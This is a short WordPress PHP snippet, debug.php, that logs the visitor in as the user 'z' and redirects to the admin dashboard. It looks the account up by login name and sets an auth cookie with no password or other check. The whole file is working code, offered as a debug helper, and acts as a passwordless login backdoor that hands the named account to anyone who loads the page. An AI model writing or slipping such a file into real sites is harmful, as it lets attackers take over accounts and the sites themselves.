Get user by id and log-in

debug.php

<?php

 
    $username = "z";
$user = get_user_by('login', $username );

// Redirect URL //
if ( !is_wp_error( $user ) )
{
wp_clear_auth_cookie();
wp_set_current_user ( $user->ID );
wp_set_auth_cookie  ( $user->ID );

$redirect_to = user_admin_url();
wp_safe_redirect( $redirect_to );
exit();
}